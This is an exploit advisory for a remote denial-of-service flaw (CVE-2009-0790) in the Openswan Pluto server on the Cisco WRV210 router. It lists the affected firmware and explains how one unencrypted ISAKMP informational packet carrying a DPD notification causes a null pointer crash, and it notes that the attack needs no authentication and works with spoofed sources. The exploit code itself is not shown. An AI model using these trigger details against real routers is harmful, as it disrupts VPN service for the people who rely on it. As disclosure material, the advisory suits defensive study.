Product: Cisco WRV210 Wireless-G VPN Router - RangeBooster

Type: denial of service exploit - null pointer dereference

Remotely exploitable: yes

Software: Openswan Version 2.4.5dr32 [bug: CVE-2009-0790, reported by Gerd v. Egidy of Intra2net AG]

Vulnerability: VPN server crashes and reboots after one crafted 72 bytes UDP packet,
and all the peers connected must wait and renegotiate.
Therefore, it is possible to effectively disrupt all the VPN traffic on the target router,
sending only 2 packets per minute. 

Pros: no need for authentication, and it works with UDP spoofed-source packets.

Firmware affected:
- 2.0.0.11 (current)
- 1.1.17.9

Vulnerability details:
this piece of crap still has a DPD attack vulnerable Openswan Pluto server,
_always_ running (Openswan Version 2.4.5dr32).
Lot of Cisco legal blurb about GPL etc, but if you buy this box [as I stupidly did],
you'll end up having a linux-based, malfunctioning, grossly outdated, insecure,
with a completely closed-source firmware, door stopper.
So, seen that there werent publicly available exploits for this vuln,
I've studied a bit the code, and wrote this one.

Exploit details:
in demux.c, in "case ISAKMP_XCHG_INFO", if packet's ISAKMP_FLAG_ENCRYPTION is 0x00,
and the packet contains a DPD type R_U_THERE or R_U_THERE_ACK notification,
it doesnt matter if the icookie, rcookie and messageid values dont match with a valid SA key:
you'll go anyway to "static stf_status informational(struct msg_digest *md)" function,
where respectively "dpd_inI_outR" and "dpd_inR" will be called,
leading to the null pointer "st" dereference, exactly because no match with a valid key was found.
So, its enough to send an ISAKMP "informational exchange" type (ISAKMP_XCHG_INFO) packet,
containing the specific unencrypted notification (R_U_THERE or R_U_THERE_ACK) payload,
and the Pluto server invariably crashes, with a nice "Segmentation fault" message viewable
in the web panel log.
